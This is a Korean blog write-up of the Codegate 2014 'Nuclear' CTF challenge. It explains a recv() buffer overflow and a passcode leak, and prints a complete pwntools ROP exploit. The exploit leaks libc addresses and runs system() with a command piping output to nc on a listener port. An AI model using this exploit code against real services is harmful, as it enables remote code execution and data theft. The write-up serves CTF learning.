본문 바로가기

공부는 계속 ../Pwnable Writeup

Codegate 2014 Nuclear

nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c

exploit.py


Angry doraemon 과 비슷한 rop 문제이다.


pwntools 를 이용해서 좀 쉽게 풀었다.


근데 pwntools e.symbols['send'] - e.symbols[system] 이 약간 오류가 있는거 같다..


그냥 gdb 상에서 구하는게 좋을거 같다


gdb-peda$ p send

$3 = {<text variable, no debug info>} 0xf7f9d500 <send>

gdb-peda$ p system

$4 = {<text variable, no debug info>} 0xf7e12da0 <system>


gdb-peda$ p send-system

$6 = 0x18a760


nuclear의 취약점은 start_routine에서 사용하고 있는 recv() 에서 발생한다.

버퍼의 크기는 0x200 인데, 0x512 만큼 받아버리니.. 

아마 개발자 실수인것 같다 (0x200은 10진수로 하면 512)

처음에 passcode를 요하는데 

이건 sub_8048A0D((int)arg, "[!] Unknown command : %s\n", &s1); 부분에서 leak 가능하다.

그래서 사용자가 입력하는 값과 저장된 passcode 값까지 쭉 출력할 수 있게 중간에 변수들을 적절히 값을 넣어줘야함..

이미 몇 년 전의 문제이고 writeup 도 많이 존재해서 쉽게 풀 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')
 
ip = 'localhost'
port = 1129
= ELF('./nuclear')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
rop = ROP(e)
rop2 = ROP(e)
offset = 0x18a760 
bss = e.bss() 
code = 'test'
 
#leak system_Addr
rop.send(4,e.got['send'],4,0)
payload = "A"*528 + rop.chain()
 
= remote(ip, port)
print r.recv(1024)
r.send("launch\n")
print r.recv(1024)
r.send(code+"\n")
print r.recv(1024)
r.send(payload+"\n")
print r.recv(1024)
send = u32(r.recv(4))
print '[+] leaked send_addr = 0x%x' %send
system = send - offset
e.symbols['system'= system
print "[+] system addr : 0x%x" % system
 
 
#exploit!
sh ="ls | nc localhost 7777\x00"
rop2.recv(4,bss,len(sh),0)
rop2.system(bss)
payload2 = "A"*528 + rop2.chain()
 
r2 = remote(ip, port)
print r2.recv(1024)
r2.send("launch\n")
print r2.recv(1024)
r2.send(code+"\n")
print r2.recv(1024)
r2.send(payload2+"\n")
print r2.recv(1024)
r2.send(sh+"\n")

cs


'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

Protostar heap3  (0) 2018.02.27
Double Free Bug  (0) 2018.02.23
Codegate 2017 - babypwn  (0) 2018.02.22
basic-rop  (1) 2018.02.20
Codegate 2014 Angry_Doraemon  (0) 2018.02.19